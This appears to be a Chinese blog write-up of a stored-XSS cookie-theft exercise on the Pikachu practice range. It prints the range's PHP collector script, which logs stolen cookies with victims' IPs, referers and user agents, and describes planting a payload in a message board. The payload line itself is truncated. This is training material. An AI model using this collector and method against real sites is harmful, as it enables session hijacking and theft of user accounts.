利用存储型xss盗取cookie--pikachu靶场

约 3 分钟读完

利用存储型xss盗取cookie--pikachu靶场

环境:

云服务器ubuntu搭建pikachu靶场,以及虚拟机的皮卡出靶场

image-20241121143736276

image-20241121143836728

收集cookie:pikachu-master/pkxss/xcookie/pkxss_cookie_result.php

靶场:pikachu/vul/xss/xss_stored.php

测试xss漏洞

在靶场处发现留言板,测试xss漏洞

存在漏洞

image-20241121144048754

知识点补充

document.cookie

获取当前页面的cookie

document.location.href

当前页面url

location.href="https://www.baidu.com" or document.location=""

跳转到指定页面

原理

查看收集cookie的脚本

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 这个是获取cookie的api页面
// 如果请求中包含'cookie'参数,则将相关信息存入数据库
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');  // 获取当前时间
    $ipaddress=getenv ('REMOTE_ADDR');  // 获取用户IP地址
    $cookie=$_GET['cookie'];    // 获取传入的cookie值
    $referer=$_SERVER['HTTP_REFERER']; // 获取请求来源
    $useragent=$_SERVER['HTTP_USER_AGENT']; // 获取用户代理信息
    $query="insert cookies(time,ipaddress,cookie,referer,useragent)
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query); // 执行插入操作
}
header("Location:http://192.168.140.130/pikachu/index.php"); // 重定向到一个可信的网站

?>

构造payload

script>

在靶场进行测试

在留言板处输入payload,

image-20241121151755613

查看cookie

在收集cookie的网站查看

image-20241121151845554

查看目标靶场数据库,可以看到payload确实存在

image-20241121151637366

← web中间件常见漏洞总结 浏览器编码解码与XSS详解 →